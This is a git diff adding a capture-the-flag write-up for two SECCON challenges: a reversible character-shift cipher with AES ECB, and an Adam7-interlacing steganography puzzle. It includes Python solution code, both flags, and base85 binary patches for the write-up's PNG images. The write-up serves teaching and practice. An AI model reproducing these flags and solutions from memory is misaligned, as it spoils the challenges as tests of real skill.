+```python +def encrypt(key, text): + s = '' + for i in range(len(text)): + s += chr( ( ((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20) + return s +``` + +We can reverse this operation by applying the operations in the reverse direction, so "+" for "-" and vice versa. The only tricky part is the modulo operation % (0x7e - 0x20 + 1) -> %95, but after some thinking around one can realize that most probably the flag is made up of human-readable ascii characters, and this operation will only apply to those characters with a value smaller than 32: we can work around this by simply adding 95 to these characters: + +```python +def decrypt(key, s): + plaintext = "" + for i in range(len(s)): + char_value = ord(s[i]) - ord(key[i % len(key)]) + 0x20 + + if(char_value < 0x20): + char_value += 95 + + plaintext += chr(char_value) +return plaintext +``` + +Applying this function to the AES deciphered text with the key that was used for the encrypt function: + +```python +print(decrypt(key1, ciphertext_2)) +``` + +we get back the flag: SECCON{Success_Decryption_Yeah_Yeah_SECCON} + +### Technical details + +AES ECB mode: + +![aes_ecb.png](seccon/aes_ecb.png) + +[https://upload.wikimedia.org/wikipedia/commons/thumb/d/d6/ECB_encryption.svg/600px-ECB_encryption.svg.png] + +This mode of operation is easily reversible, as there is no IV used and the steps are not chained. + + + +## Sandstorm + +**category**: misc, steg + +**description**: + +I've received a letter... Uh, Mr. Smith? + +![sandstorm.png](seccon/sandstorm.png) + +___ + +### Recon + solution + +We receive a strange image, we should find a hidden message. The description reveals us, that we should work with some kind of steganography method. After trying around with Stegsolve and https://georgeom.net/StegOnline/ I did not find anything. But the image itself looks very unusual, maybe there's something in the noise. I tried different noise reduction and enhancement filters in gimp, but I only received even blurrier images. After a talk presented on 10.12.2019 I became aware that one should look into the description and not necessarily in the image itself first. The text "My name is Adam" reveals the underlying algorithm. + +We are dealing with the Adam7 steganography algorithm, which has 7 passes as the name shows. To even numbered levels some unusual asymmetric rules apply, but the levels 1, 3, 5 can be easily reached with the application of matrix operations. + +```python +import cv2 +import numpy + +image = cv2.imread('./sandstorm.png') + +for level in range (1,4): + image = image[0::2,0::2] + filename = "level_" + str(7-level*2) + cv2.imwrite(filename + '.png', image) +``` + +On level 1 we find a QR-code, which resolves to the flag: + +![key.png](seccon/key.png) + +SECCON{p0nlMpzlCQ5AHol6} + +### Technical details + +Adam7 interlacing algorithm: + +> Adam7 is an interlacing algorithm for raster images, best known as the interlacing scheme optionally used in PNG images. An Adam7 interlaced image is broken into seven subimages, which are defined by replicating this 8×8 pattern across the full image. + +``` +1 6 4 6 2 6 4 6 +7 7 7 7 7 7 7 7 +5 6 5 6 5 6 5 6 +7 7 7 7 7 7 7 7 +3 6 4 6 3 6 4 6 +7 7 7 7 7 7 7 7 +5 6 5 6 5 6 5 6 +7 7 7 7 7 7 7 7 +``` + +[https://wikivisually.com/wiki/Adam7_algorithm] + +The algorithm works with 8 x 8 rasters, this matrix represents which pixels are assigned to which levels. As mentioned in the solution part, the uneven numbered levels can be extracted with symmetrical and commutative matrix operations. + +The fastest way to get to the first level would be to only take every 8th pixel horizontally and vertically. + +### Lessons learned + +- Look for clues in the task description! \ No newline at end of file diff --git a/writeups/ilm0/seccon/aes_ecb.png b/writeups/ilm0/seccon/aes_ecb.png new file mode 100644 index 0000000000000000000000000000000000000000..0848ae41e926276d39a840e99998631d7c5c6238 GIT binary patch literal 8095 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 literal 0 HcmV?d00001 diff --git a/writeups/ilm0/seccon/key.png b/writeups/ilm0/seccon/key.png new file mode 100644 index 0000000000000000000000000000000000000000..d2d396a15e5eb1202e079526f681d0e4b08f0a87 GIT binary patch literal 1619 zcmXw4Pi)&%7*88mz*XAAWUAF_r%7B0(l|`oB%-xj(yCO5D&6emPy#g#)oR;!70Lrb4@+ArWT9f(x2J)TTlL0}E~VeJ|yZCVubvd%y4Z z=j+Yf{A`jN<6^N`a_+V1YxthS=cVTc@i%&M``cLT)Y#ngRdM;*ulM#oEzHDb_VgED z2+j@ueD?Ou-2rF)o$s!_et57|`av|*_C?WKP_y(SI1nvuX||S3KXr!u6g@1~lHFIa zBN>WdtMY6uu3N4=YpmYl+82wJh~qnDm3JlYhPv-!iAv;b1!3Xc+KyWQFq+ZWL#8F1!l%jMl~tz+;6#@ZaI}sNfBI0-*vTZ6!7iB z-@pI#aHV;4L(UsYB2}#9@a9l^SoCvdr-WB>;gwpPw^g%K9!G1alraiCu0Y964h0x| zyc*c9nW@Fw!^MMrI#)q`o?ynQorMrTST&=ulM8{?2b8;44QfXo;ZwM<-?5mc=jaaS z_t99<`mcx0-f!N^f!Ptj272Of-il7?jNL@AEZB`q?UL6c@X7YtARkSE>}@nJxVS+> z@$d>BqC3hcNJ49%F(neoo1A`K&DN5r^@)B1 zQ{-K^qg9;*8bw(9=gDWyu<3f27l+gHSIa()6>o5|YB<5QiQGhaV#`hblg_D#Qa$g?qJ5S=`4vRUe zo)YzsA>x;?A)Ng|HwwFd9o9iV^T7$(q-Hq4Yf_!GQri^Dww6U z35g3pK;$qf67cV%jmtDUSTN<@=P306eL^}7cfTcB4$MSD20Z@1*iEJ3X zEg{Un5n>bow2h9aLka`4kSpJX!!yQZ@t1wdKT-&^SsDvS9cc-BK#7xgDW2{*77c?Y zgHMSkXR)^F6h;Jr(Qq&2%uoFxuaG#z4Ruz+_)u{g9gol)D>cYb)Ff4g2TsG#dElXW z3QM81M*IB~fdcaABiM(gAEn&OVhBi74?9$mln(41#TF?BJ4gnx57e(n;Q)I!u@+uH zVp?C#vqroMLP5i>-`nafWd-;rNIiI&dO8`_0Ar}V*f(SEiSK`L<_!K>#O7w^r>mKz GkNyJ{Qx0PQ literal 0 HcmV?d00001 diff --git a/writeups/ilm0/seccon/sandstorm.png b/writeups/ilm0/seccon/sandstorm.png new file mode 100644 index 0000000000000000000000000000000000000000..891134da897a367547c3ccfcdeb5bb008053d12d GIT binary patch literal 63515 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 